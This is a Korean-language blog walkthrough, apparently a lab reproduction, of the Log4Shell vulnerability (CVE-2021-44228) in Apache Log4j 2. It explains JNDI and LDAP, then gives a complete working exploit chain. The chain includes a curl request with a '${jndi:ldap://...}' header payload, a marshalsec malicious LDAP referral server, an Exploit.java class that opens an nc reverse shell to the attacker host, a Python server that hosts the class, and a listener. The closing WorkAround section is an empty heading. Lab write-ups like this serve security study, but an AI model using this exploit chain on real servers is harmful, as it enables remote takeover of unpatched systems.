๊ธ€ ์ž‘์„ฑ์ž: heogi

Log4j 2 RCE (CVE-2021-44228)


1. ๊ฐœ์š”

Log4j๋Š” java ๊ธฐ๋ฐ˜ ๋กœ๊น… ๋„๊ตฌ์ธ Apache ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์ด๋‹ค.

Log4Shell ์ด๋ผ๊ณ ๋„ํ•˜๋Š” ์ด ์ทจ์•ฝ์ ์€ CVE-2021-44228๋กœ ์‹๋ณ„๋˜๋ฉฐ CVSS(Common Vulnerbility Scoring System)

์ ์ˆ˜๋Š” ์ตœ๊ณ ์ ์ธ 10์ ์„ ๋ฐ›์•˜๋‹ค.
๋น„๊ต์  ๊ณต๊ฒฉ๋ฐฉ๋ฒ•์ด ์‰ฌ์šด ํŽธ์— ์†ํ•˜์ง€๋งŒ RCE ์ทจ์•ฝ์ ์ด๊ณ , ๋‹ค์–‘ํ•œ ์ œํ’ˆ์—์„œ ํ•ด๋‹น ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค.

 

ํ•ด๋‹น ์ทจ์•ฝ์ ์€ JNDI Injection์„ ํ†ตํ•œ RCE๋กœ JNDI Lookup์„ ๊ตฌ๋ฌธ์„ ์ทจ์•ฝํ•œ ํŒŒ๋ผ๋ฏธํ„ฐ์— ์‚ฝ์ž…ํ•˜์—ฌ ํ•ด๋‹น ๊ตฌ๋ฌธ์ด ๋กœ๊น…๋˜๋ฉด์„œ ์•…์„ฑ LDAP ์„œ๋ฒ„๋กœ ๋ถ€ํ„ฐ ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ๋ฐ›์•„์™€์„œ ์‹คํ–‰์ด ๋˜๋Š” ์ทจ์•ฝ์ ์ด๋‹ค.

 

2. ๋Œ€์ƒ

CVE-2021-44228์— ์ทจ์•ฝํ•œ Log4j 2 ๋ฒ„์ „์€ ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

  • Apache Log4j 2.0-beta9 ~ 2.14.1

๋‹ค์–‘ํ•œ ์ œํ’ˆ์—์„œ ํ•ด๋‹น ๋ฒ„์ „์˜ Log4j๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค. ์•„๋ž˜ ์ œํ’ˆ๋“ค์ด ๊ทธ ๋ฆฌ์ŠคํŠธ์ด๋‹ค.

 

GitHub - YfryTchsGD/Log4jAttackSurface

Contribute to YfryTchsGD/Log4jAttackSurface development by creating an account on GitHub.

github.com

3. ๋ถ„์„

 * Attack Payload

curl -H 'X-API-Version: ${jndi:ldap://ATTACKER_SERVER/Exploit} VICTIME_SERVER
JNDI์ด๋ž€? - From Wikipedia
JNDI(Java Naming and Directory Interface)๋Š” ๋””๋ ‰ํ„ฐ๋ฆฌ ์„œ๋น„์Šค์—์„œ ์ œ๊ณตํ•˜๋Š” ๋ฐ์ดํ„ฐ ๋ฐ ๊ฐ์ฒด๋ฅผ ๋ฐœ๊ฒฌ(Discover)ํ•˜๊ณ  ์ฐธ๊ณ (Lookup)ํ•˜๊ธฐ ์œ„ํ•œ ์ž๋ฐ” API์ด๋‹ค.
JNDI๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ๋‹ค์Œ์˜ ์šฉ๋„๋กœ ์‚ฌ์šฉ๋œ๋‹ค.
 - ์ž๋ฐ” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์™ธ๋ถ€ ๋””๋ ‰ํ„ฐ๋ฆฌ ์„œ๋น„์Šค์— ์—ฐ๊ฒฐ(์˜ˆ : ์ฃผ์†Œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋˜๋Š” LDAP ์„œ๋ฒ„)
LDAP์ด๋ž€? - From Wikipedia
LDAP(Lightweight Directory Access Protocol)์€ TCP/IP ์œ„์—์„œ ๋””๋ ‰ํ† ๋ฆฌ ์„œ๋น„์Šค๋ฅผ ์กฐํšŒํ•˜๊ณ  ์ˆ˜์ •ํ•˜๋Š” ํ”„๋กœํ† ์ฝœ์ด๋‹ค.


์œ„ ๊ตฌ๋ฌธ์„ ํ•ด์„ํ•ด๋ณด๋ฉด HTTP Request์˜ X-API-Version Header์— jndi ๊ตฌ๋ฌธ์„ ์‚ฝ์ž…ํ•˜๋Š”๋ฐ ํ•ด๋‹น jndi ๊ตฌ๋ฌธ์€ ldap ํ”„๋กœํ† ์ฝœ์„ ์ด์šฉํ•ด Attacker_server์˜ Exploit ํด๋ž˜์Šค๋ฅผ Lookupํ•œ๋‹ค.

4. ๊ณต๊ฒฉ ๋ฐฉ์‹ ๋ฐ ์‹ค์Šต

 * Attack Flow

attack flow

* ํ™˜๊ฒฝ ๊ตฌ์„ฑ

๊ณต๊ฒฉ ์‹ค์Šต์„ ์œ„ํ•ด์„œ๋Š” ์•„๋ž˜ 2๊ฐœ์˜ ํ™˜๊ฒฝ ๊ตฌ์ถ•์ด ํ•„์š”ํ•˜๋‹ค. 

  • ์ทจ์•ฝํ•œ Log4j ์„œ๋ฒ„
  • ์•…์„ฑ LDAP ์„œ๋ฒ„

1. ์ทจ์•ฝํ•œ Log4j ์„œ๋ฒ„ - 192.168.0.11:8081
์•„๋ž˜ ๊ตฌ์ถ•๋˜์–ด์žˆ๋Š” Docker ํ™˜๊ฒฝ์œผ๋กœ ํ…Œ์ŠคํŠธ ์ง„ํ–‰ํ•œ๋‹ค.

 

GitHub - christophetd/log4shell-vulnerable-app: Spring Boot web application vulnerable to Log4Shell (CVE-2021-44228).

Spring Boot web application vulnerable to Log4Shell (CVE-2021-44228). - GitHub - christophetd/log4shell-vulnerable-app: Spring Boot web application vulnerable to Log4Shell (CVE-2021-44228).

github.com

> docker run --rm -p 8081:8080 log4jpwn

ํ•ด๋‹น ํ™˜๊ฒฝ์€ X-API-Version ํ—ค๋”๋ฅผ logging ํ•˜๊ณ  ์žˆ๋‹ค.

# MainController.java

@RestController
public class MainController {

    private static final Logger logger = LogManager.getLogger("HelloWorld");

    @GetMapping("/")
    public String index(@RequestHeader("X-Api-Version") String apiVersion) {
        logger.info("Received a request for API version " + apiVersion);
        return "Hello, world!";
    }

}

2. ์•…์„ฑ LDAP ์„œ๋ฒ„ - 192.168.111.129:1389
์ •ํ™•ํžˆ๋Š” LDAP Refferal Server ์ธ๋ฐ ์ž‘์„ฑํ•œ ์•…์„ฑ Java Class ํŒŒ์ผ์„ ์ทจ์•ฝํ•œ Log4j ์„œ๋ฒ„๋กœ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ ํ•ด์ค€๋‹ค.

 

GitHub - mbechler/marshalsec

Contribute to mbechler/marshalsec development by creating an account on GitHub.

github.com

 

> mvn clean package -DskipTests
> java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ATTACKER_SERVER:8000/#Exploit"

 

3. Exploit.class ํ˜ธ์ŠคํŒ… - 192.168.111.129:8000

์ทจ์•ฝํ•œ Log4j ์„œ๋ฒ„์—์„œ ์‹คํ–‰๋  ์ปค๋งจ๋“œ๋ฅผ ์ž‘์„ฑํ•œ๋‹ค. ์—ฌ๊ธฐ์„œ๋Š” nc๋ฅผ ํ†ตํ•ด ๋ฆฌ๋ฒ„์Šค ์‰˜์„ ์‹คํ–‰ํ•œ๋‹ค.

#Exploit.java
public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc 192.168.111.129 9999 -e /bin/sh");
            # ์ทจ์•ฝํ•œ ์„œ๋ฒ„์—์„œ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ ๋ฆฌ๋ฒ„์Šค ์‰˜ ์ ‘์†
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
> javac Exploit.java
> ls
Exploit.class
Exploit.java

Exploit.class ํŒŒ์ผ์„ ํ˜ธ์ŠคํŒ… ํ•˜๊ธฐ ์œ„ํ•ด ์•„๋ž˜ python ๋ช…๋ น์–ด๋ฅผ ํ†ตํ•ด ์›น์„œ๋ฒ„๋ฅผ ์‹คํ–‰ํ•œ๋‹ค.

> python3 -m http.server

4. Necat Listener

> nc -lvnp 9999

5. Exploit

#1. X-Api-Version Header์— ์•…์„ฑ ํŽ˜์ด๋กœ๋“œ๋กœ Log4j ์„œ๋ฒ„๋กœ ์š”์ฒญ ์ „์†ก
> curl -H 'X-Api-Version: ${jndi:ldap://192.168.111.129:1389/Exploit}' 192.168.0.11:8081

#2. Log4j ์„œ๋ฒ„๋Š” ์•…์„ฑ LDAP Refferal Server์— Exploit.class ์š”์ฒญ
#3. LDAP Refferal Server์—์„œ Exploit.class ํŒŒ์ผ์„ Log4j ์„œ๋ฒ„๋กœ ์ „์†ก
#4. Log4j ์„œ๋ฒ„์—์„œ Exploit.class ํŒŒ์ผ ์‹คํ–‰

# 1
# 2
# 3
# 4

์ต์Šคํ”Œ๋กœ์ž‡์— ์„ฑ๊ณตํ•˜์—ฌ ์ทจ์•ฝํ•œ Log4j ์„œ๋ฒ„์˜ ์‰˜์„ ํš๋“ํ•œ ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

 

5. WorkAround